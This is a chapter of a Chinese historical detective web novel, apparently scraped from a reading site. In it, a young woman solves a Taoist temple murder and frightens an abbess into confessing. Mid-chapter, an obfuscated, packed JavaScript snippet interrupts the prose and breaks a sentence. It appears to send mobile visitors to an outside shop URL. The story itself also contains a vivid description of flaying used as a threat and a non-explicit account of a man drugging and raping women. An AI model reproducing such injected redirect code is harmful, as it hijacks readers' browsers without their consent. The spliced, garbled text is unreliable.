默认冷灰
24号文字
方正启体

14. 第 14 章

作者:王白役本书字数:K更新时间:
    月华当空,凉风渐起,含霜合上窗,回头见沈缨华还伏在案几上眉头紧锁,写写画画,嘴中念念有词,玉露则坐在一旁替她磨墨。


    含霜忍不住出声提醒:“娘子,娘子,别写了该歇啦。”


    沈缨华停笔,敷衍道:“好好好,玉露我知道了。”说罢抬头,却与撅着嘴的含霜四目相对。


    “娘子,您还说不偏心,明明是我提醒来着,您心里就只记着玉露阿姐。”


    沈缨华这才回神,玉露坐在身侧,她下意识以为是玉露在说话,刚想安抚含霜,脑子里乱成一团的线索突然连在一起,倏然起身,大喊一声:“原来如此,我们都被误导了!”


    玉露、含霜莫名其妙盯着自家娘子,她这又是怎么啦?沈缨华以迅雷不及掩耳之势夺门而出,直奔裴湛的院落。


    “裴少卿、裴少卿,开门,我有要事相告!”


    裴湛刚脱下外袍正欲安寝,却听房门砰砰作响,沈缨华的声音在门外响起。


    他眉心一跳,胡乱系上腰带,快步前去开门,这沈娘子又公然夜访郎君,真是……不知羞,幸好他的手下口风甚严,不然被嚼舌根的传出去,她还嫁不嫁人了!


    “别敲了,沈娘子,夜已深,到底……嗳,你别进来啊。”


    沈缨华一个闪身就进了门,一脸莫名其妙:“天凉夜寒,站在门外说,万一染了风寒怎么办。”


    裴湛深吸一口气,多年教养提醒他,务必保持冷静,不可随意动怒,他抿了一下唇,正要说教。


    玉露和含霜追了上来,喘得上气不接下气:“娘……娘子,夜里风……大,披上帔子。哎哟,您怎么能……裴少卿,多有打扰。”


    沈缨华接过帔子,喧宾夺主地说:“你俩快进来,别耽误我和裴少卿说正事。”


    裴湛到底是忍下了给这小娘子补上礼教之学的冲动,耐着性子问:“沈娘子,你到底有何事,非要现在说?”


    “灵微没有说谎,她是被人误导了!”


    “什么?”


    “裴少卿,您仔细想想,灵微入观不久,


    她和假□□根本不熟,为何只因听到女子的尖叫声便判定那是假□□。”


    裴湛眉头紧锁,负手陷入沉思,对啊,灵微与假□□并不相熟,如若此话当真,那她怎么能分辨……


    他松开眉心,猛然回头盯着沈缨华的笑脸,道:“她当时正打扫到假□□的院子外,听到那个方向有女子尖叫,进门又发现假□□死在屋里,下意识以为刚才是她求救。”


    “正是如此,她反复被问起当日的情形,又一遍一遍加深了自己的判断。凶手误导灵微,灵微又误导我们。”


    “可……若这一切是凶手所为,他为何要布置此局,引人发现假□□的尸体,就算放任不管迟早也会被人发现?目的何在?”


    “是呀,为何要如此,就像生怕别人太晚发现假□□死了,就会怀疑到她身上一样。”


    “你的意思是,假□□被害的时间还得往前提一提,且那补刀的凶手就在道观,所以她故布疑阵将一切都推到刺了第一刀的贼人梁山身上?”


    “正是。”


    “你有怀疑的人选?”


    沈缨华狡黠一笑:“是有一个,不过眼下还没证据,我怕说出来让您先入为主,影响断案,如此便暂且保密,容我先查一查。”


    裴湛起来得匆忙,屋内只点了两盏灯,凉风穿过虚掩的房门窜进来,惹得烛光摇曳。


    她头上又簪了一朵牡丹,乌发红花,虽无华贵的金簪,却衬得眼前的女子半是清丽半是明艳,一双笑眸在半明半暗中熠熠生辉。


    他移开目光:“既如此,明日我派人随你去清辉观走一趟。时辰不早了,我先送你回屋吧。”


    沈缨华捂嘴一笑,指了指裴湛松松垮垮的腰带:“不麻烦裴少卿啦,晚安。”说罢,蹦蹦跳跳退出房门。


    裴湛窘迫地握紧腰带,目送她走出院门,迅速关好房门,这才长舒一口气。


    最近自己也不知怎么了,先是听信耿文达“谗言”,让她跟着办案,又一次两次容她放肆!真是怕了这小娘子,热血上头就不顾礼法,回了长安一定得寻机会找她阿翁阿耶提点一二,不然被人嚼舌根,污了名声,影响婚嫁可不好。


    被人担心嫁不出去的沈缨华已经开始筹谋,如何悄无声息在长安开拓她的写作事业。


    阿玲不解:“你又不缺钱,怎么出本书像做贼一样?”


    沈缨华解释:“我写的话本虽是闲书,但涉及案件,家中长辈皆在朝为官,且阿翁又是在刑部,若被御史抓到,恐怕会给家里惹来麻烦。”


    阿玲:“既然如此,那就找个空壳,咱们借壳上市!”


    “什么壳?”


    “简单来说,就是找个可靠的人替你出面与书店签合同。”


    沈缨华郁闷:“这个我想过了,玉露、含霜是我身边最可靠的人选,但她二人是我贴身丫鬟,一旦被人逮到,我又岂能置身事外!可若是找个不知底细的,那我也不敢托付呀,毕竟这事儿可大可小!”


    阿玲头大,打了个哈欠:“这也不行,那也不行,算了算了,赶紧睡吧,我困得很!”


    “你不是幽魂吗,怎么还会困?”


    “定是你精力太过旺盛,抢了我的生气,少啰嗦,赶紧睡,啊-哈-”


    ……


    第二日,沈缨华随大理寺官吏再访清辉观。


    观主凌虚因涉嫌知情不报,虽未被收监但至今仍软禁在袇房内,其余女冠皆不可出观,直至案情彻底查清。一时间,清辉观上下人人自危。


    沈缨华思量片刻,决定先找观主凌虚,有些疑问或许她才能解答。


    两位小吏守在凌虚袇房外,吃食皆由专人端入房内,不许她踏出房门一步。


    凌虚整日惴惴不安,几天下来,眉眼无神,双颊凹陷,宛如行尸走肉。


    沈缨华推门入内,诚惶诚恐的凌虚迎了上来,跪倒在地,声音颤抖:“沈娘子,贫道真的是无辜的,那假□□以全观人的性命威胁我,所以我……我才犯了糊涂。劳您向官人们求求情,放过贫道吧。”


    屋内只有凌虚的抽噎声,她小心抬头,见沈缨华目光冰冷,心中一惊:难道……难道大理寺已经全部查到了?!不可能,不可能,那该死的阴阳人已经死透了,不会查到的……莫不是他留下了什么记录,完了,全完了!


    沈缨华实则心里没底,想冷脸诈一诈凌虚,她总觉得这道长眼神奸猾,频频闪躲,似乎还隐藏着更大的秘密。


    阿玲也认同她的猜测:“根据微表情专家的观点,频繁眨眼,躲避对视,说明此人正处于高度焦虑中。还有,她不停扯领子,是一种压力之下无意识的自我安抚行为。她肯定隐瞒了重要信息,阿丹,你这样说……”


    “好。”


    沈缨华语气冰冷开口道:“说吧,你若现在开口将此事原原本本说个痛快,还能免去一顿皮肉之苦,若等裴少卿前来,他可不是心善的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317613|198995||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    主儿,你让他忙活这么久,最终怕是会落得个剥皮填草的下场。


    哦~你不知道这刑罚吧,专门用来对付那些犯了死罪还嘴硬的人。


    行刑时,得先把人绑在木桩上,从头顶中间划开一道口子,将皮生生剥下来,等那人活活痛死后,再把这皮缝上,填上干草即可。嗯~就是从这里开始。”说罢用手在凌虚额头慢慢划过。


    凌虚的精神崩溃到极点,被吓得涕泪横流,两股战战,小便失禁。


    别说范了事儿的凌虚害怕,含霜、玉露也被吓得瞪大了双眼,小心回头,瞧了瞧身后的张录事。


    这几日她们与大理寺的官吏们相处得不错,没想到啊,私底下手段竟如此凶残。


    本来只是听令陪沈娘子道观一日游的录事张金也瞪大了双眼。他怎么不知道大理寺还有此等酷刑,裴少卿办事雷厉风行但也并非残暴之徒,怎么沈娘子这么说他老大!


    张金刚想替上司辩解两句,受不了压力的凌虚开了口:“我说,我说,我全都说,别用刑别用刑……呜呜呜……”


    沈缨华见自己的恐吓起了作用,故作淡定地吩咐:“张录事,将凌虚的口供记下来,她若还是说一句吞一句,咱们再动刑也来得及。”


    “好好好。”


    据凌虚交代,自从撞破假□□的身份后,她也曾纠结要不要报官“止损”,岂料假□□能说会道,极受信众欢迎,其中不乏权贵高官家的女眷,甚至连玉真长公主的车辇也停在了清辉观的山门前。


    她至今仍记得,紫檀宝车停于黄土道上,侍者伏跪在地,以背为踏,承住一双金绣软履,清婉悠长的崖香由远及近,月白道袍在阳光下珠光流转,那是蜀地进贡的冰蚕丝特有的光芒。


    高贵优雅的长公主随廖五郎(假□□)径直走向静室,谁也不知二人谈了什么,只是待长公主走后,黄土道铺上了长安运来的青砖,不足一亩的道观生生拓了五六亩,连观前的普通香炉也换成鎏金大鼎,籍籍无名的清辉观一时间风头无两。


    凌虚彻底沦为廖五郎的“保护伞”,从开始的睁一只眼闭一只眼,到主动为他遮掩,事态逐渐失控……


    廖五郎看着那些对自己从容敬顺,甚至剖白隐秘,乞求指点迷津的女娘,心底升起了酥酥麻麻的欲念。


    年幼时,这具鬼神难辨的身躯让他被家人抛弃,被世人唾弃,被恶人驱使。如今他却靠这躯壳,摇身一变,成了人人敬仰的道长。


    可是还不够,不够弥补他曾经所受的折磨,他要让这些匍匐在地的俗人接受审判!来自他的审判!


    四年前,他不知从何处寻到迷药,挑中了一个稚嫩又澄澈的小娘子。她跪在蒲团上,低头捡签的一瞬,露出莹白的脖颈,晃得他心猿意马。


    就她了!


    廖五郎偷偷将迷药下在她的茶碗中,趁着夜色,潜入香客袇房,扯开她的衣衫……明明有一半相似的身躯,可另一半却彻底将恶魔释放。


    自此以后,欲念疯长,一发不可收拾……


    凌虚发现后,惊惧交加,但那无赖有恃无恐,反过来威胁她,少管闲事,官差来了,她亦少不了落个包庇罪。


    凌虚自知理亏,只得警告他:“不能对观中人和未出阁的小娘子下手!”


    廖五郎笑得肆无忌惮:“知道了,那些个小娘子没滋没味,尝尝鲜就罢了,还是妇人有趣些,嘿嘿嘿……我的好观主,你且放心,我不会被抓到的,就算真的不留神湿了鞋,自有贵人替我遮掩……”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)